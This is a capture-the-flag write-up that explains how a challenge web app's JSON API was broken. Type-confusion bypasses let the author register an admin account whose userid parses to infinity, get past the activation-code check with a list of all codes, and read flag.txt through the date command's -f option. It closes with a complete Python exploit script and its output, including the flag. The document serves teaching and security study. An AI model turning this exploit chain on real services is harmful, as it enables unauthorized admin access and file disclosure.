There isn’t that much discovery to do since we are provided with the source code in the Challenge description.
I actually started looking at the challenge from the target (admin access) back to the start (registering a user).
Immediately, the following snippets caught my eye:
def validate_command(string):
return len(string) == 4 and string.index("date") == 0
def api_admin(data, user):
if user is None:
return error_msg("Not logged in")
is_admin = get_userdb().is_admin(user["email"])
if not is_admin:
return error_msg("User is not Admin")
cmd = data["data"]["cmd"]
# currently only "date" is supported
if validate_command(cmd):
out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
return success_msg(out.stdout.decode())
return error_msg("invalid command")
If we can access the admin endpoint, we can execute any command that passes the validate_command
function.
To find out what the data
parameter of the function is, we have to look at the json_api
endpoint of
the application. The rest of the endpoints are just to display the web ui and are irrelevant for us.
@app.route("/json_api", methods=["GET", "POST"])
def json_api():
user = get_user(request)
if request.method == "POST":
data = json.loads(request.get_data().decode())
# print(data)
action = data.get("action")
if action is None:
return "missing action"
return actions.get(action, api_error)(data, user)
else:
return json.dumps(user)
As we can see, the data
parameter is just the json
data in the body of the POST-request.
There is no validation done on this values! This will be important multiple times during this challenge.
The first time is now: If we remember the validate_command
function? We can abuse the missing validation here.
>>> validate_command("ls")
False
>>> validate_command("date")
True
Both python
and json
have dynamic types, so a function argument can be of different and unrelated types
at runtime. Abusing that fact, we now pass an list
instead of a str
. If we choose our list values carefully,
we can bypass the validation to supply additional arguments to the date
command.
>>> validate_command(["date", "-f", "flag.txt", "-u"])
True
We can not give arbitrary commands, as the first argument has to be date
to pass the validation and we can
only supply 4 arguments. As subprocess.run
doesn’t use a shell by default, we also cant use any variables
or bash
command injection. Looking at GTFObins, we can see
that we can read files using the -f
parameter to supply a date format. If it is invalid (which it will be,
since it is the flag) it will show us the file invalid content in the output.
Now that we know how to exploit the admin endpoint, we need to find out how we can get access to the admin account or how to create a new one.
If we look at the source code, we can see the following check to find out if the user is an admin:
def is_admin(self, email):
user = self.db.get(email)
if user is None:
return False
# TODO check userid type etc
return user["userid"] > 90000000
So, to be an admin, our userid
needs to be above a huge number. If we look at where it is set in the
registration method, we can see that we can actually choose the last 7 digits of the 8 digit number.
Also, we get another hint that we might have to abuse the types again.
def api_create_account(data, user):
dt = data["data"]
email = dt["email"]
password = dt["password"]
groupid = dt["groupid"]
userid = dt["userid"]
activation = dt["activation"]
assert len(groupid) == 3
assert len(userid) == 4
userid = json.loads("1" + groupid + userid)
Again, we notice the lack of type checks. The only requirement is the length of the fields.
Here, it is strange that the code uses json.loads
to create the userid instead of just combining
the strings and passing it to int()
. So, json.loads
might parse something differently than int()
!
So, I looked at the railroad diagram that json uses for parsing numbers:
Immediately, we see something interesting: scientific number notation!
>>> userid = json.loads("1.0e9999")
>>> userid
inf
>>> userid > 90000000
True
If we apply it correctly by choosing userid
and groupid
according to the string above,
we can get an inf
value which stands for positive infinity and is obviously bigger than 90000000
.
Onto the final and last challenge in this multi-step adventure!
To actually be able to register a user, we also need to pass the check_activation_code
function. This function will generate a random number between 0
and 10000
and expects
us to just guess it…
def check_activation_code(activation_code):
# no bruteforce
time.sleep(20)
if "{:0>4}".format(random.randint(0, 10000)) in activation_code:
return True
else:
return False
If we try our old thinking about types in python again, we can find a clever way to bypass
this check with a 100% success rate. (We need/want to, as waiting 20s until we know the result is quite long
and we don’t have much time to guess activation_codes
during the ctf!)
The activation_code
is again just taken directly from our json
user data. The python in
operator works
both for str
and list
, so we can just pass a list of all possible values as the activation_code
:
>>>activation_code = ["{:0>4}".format(i) for i in range(10000)]
>>>activation_code
['0000', '0001', '0002', ... , '9998', '9999']
>>>"{:0>4}".format(random.randint(0, 10000)) in activation_code
True
Now, we have almost everything we need to put together our exploit script. A small detail, but quite an
important one is the session cookie. In the app’s code, they use the flask session to store per-user data.
So, we need to make sure to use a requests Session
to resend the cookie on every request.
To automatically exploit the service, we can use the following script:
import requests
s = requests.Session()
print("Creating account")
r = s.post("http://roberisagangsta.rumble.host/json_api", json={
"action": "create_account",
"data": {
"email": "info@example.com",
"password": "whatever",
"groupid": ".0E",
"userid": "9998",
"activation": ["{:0>4}".format(i) for i in range(10000)]
}
})
print(s.cookies)
print(r.json())
print("Login")
s.post("http://roberisagangsta.rumble.host/json_api", json={
"action": "login",
"data": {
"email": "info@example.com",
"password": "whatever"
}
})
print(s.cookies)
print("Executing command")
r = s.post("http://roberisagangsta.rumble.host/json_api", json={
"action": "admin",
"data": {
"cmd": ["date", "-f", "flag.txt", "-u"]
}
})
print(r.json())
If we run the script above, we get the following output (and the flag):
Creating account
<RequestsCookieJar[<Cookie session=eyJ1c2VyZGIiOiI2ZmFkOGJhMmZmYjc4ODg1NDBmOSJ9.Y0WmmA.R5ZYT44VU8QxQPgwRQRQlwtWKMs for roberisagangsta.rumble.host/>]>
{'return': 'Success', 'message': 'User Created'}
Login
<RequestsCookieJar[<Cookie auth=c251a21e-88c9-4265-80af-1b3f5a9c01c5 for roberisagangsta.rumble.host/>, <Cookie session=eyJ1c2VyZGIiOiI2ZmFkOGJhMmZmYjc4ODg1NDBmOSJ9.Y0WmmA.R5ZYT44VU8QxQPgwRQRQlwtWKMs for roberisagangsta.rumble.host/>]>
Executing command
{'return': 'Success', 'message': 'date: invalid date ‘CSR{js0n_b0urn3_str1kes_4g4in!}’\n'}
And we get the flag in the message data:
CSR{js0n_b0urn3_str1kes_4g4in!}